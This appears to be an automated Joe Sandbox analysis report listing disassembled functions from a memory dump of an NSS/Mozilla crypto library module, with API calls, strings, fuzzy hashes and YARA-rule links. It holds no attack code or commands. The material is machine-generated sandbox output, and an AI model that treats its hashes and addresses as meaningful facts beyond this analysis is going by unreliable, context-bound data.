Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

database corruption, xrefs: 6C5DDF77, 6C5DDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD
%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

d, xrefs: 6C6A5C36
tokens=[0x%x=<%s>], xrefs: 6C6A5D3D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C689EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C689F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689F49

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C689F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C689FC0

Strings

hSession = 0x%x, xrefs: 6C689F21, 6C689F31
C_MessageEncryptInit, xrefs: 6C689F01
hKey = 0x%x, xrefs: 6C689F82, 6C689F92
(CK_INVALID_HANDLE), xrefs: 6C689F3F, 6C689FA0
nvl, xrefs: 6C689FD8, 6C68A006

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nvl
API String ID: 332880674-2561802492
Opcode ID: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction ID: 8ab298a56823afd8dfce007abe34c221a9e153f35e7f094a4560645055fa7749
Opcode Fuzzy Hash: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction Fuzzy Hash: 6B31F671602208ABDB00DF54DE8CFAE3775AB4631CF084434E909ABB41DB349908CBBE

Function 6C682DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C682DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682E81

Strings

hSession = 0x%x, xrefs: 6C682E0E, 6C682E1E
pPin = 0x%p, xrefs: 6C682E63
C_InitPIN, xrefs: 6C682DF1
ulPinLen = %d, xrefs: 6C682E7C
(CK_INVALID_HANDLE), xrefs: 6C682E2C
nvl, xrefs: 6C682E99, 6C682EC4

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nvl
API String ID: 1003633598-921645966
Opcode ID: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction ID: 54288f16d8b6405a2c04b4dc9760ccf5b39bb468fcb0ce6a0f6260b157164ecb
Opcode Fuzzy Hash: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction Fuzzy Hash: 7731E275602218ABDB109F55DE4CF8A3BB5EB4635CF084034E809ABB51DB309949CBBE

Function 6C687E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C687E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687E63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C687E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C687EB1

Strings

hSession = 0x%x, xrefs: 6C687E3E, 6C687E4E
pPart = 0x%p, xrefs: 6C687E93
(CK_INVALID_HANDLE), xrefs: 6C687E5C
nvl, xrefs: 6C687EC9, 6C687EF7
ulPartLen = %d, xrefs: 6C687EAC
C_VerifyUpdate, xrefs: 6C687E21

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nvl
API String ID: 1003633598-1814329762
Opcode ID: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction ID: 9468a547c1a4c93a8a404c9b46335dd743b5fdc2e74ba880eba108c9a62bcd10
Opcode Fuzzy Hash: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction Fuzzy Hash: DE31B274B02118ABDB109F55DE4CF8A3BB1AB46358F084034F909ABA51DB309D09CBBE

Function 6C686EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C686F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686F53

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C686F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C686FA1

Strings

C_DigestUpdate, xrefs: 6C686F11
hSession = 0x%x, xrefs: 6C686F2E, 6C686F3E
pPart = 0x%p, xrefs: 6C686F83
(CK_INVALID_HANDLE), xrefs: 6C686F4C
nvl, xrefs: 6C686FB9, 6C686FE7
ulPartLen = %d, xrefs: 6C686F9C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nvl
API String ID: 1003633598-2481572597
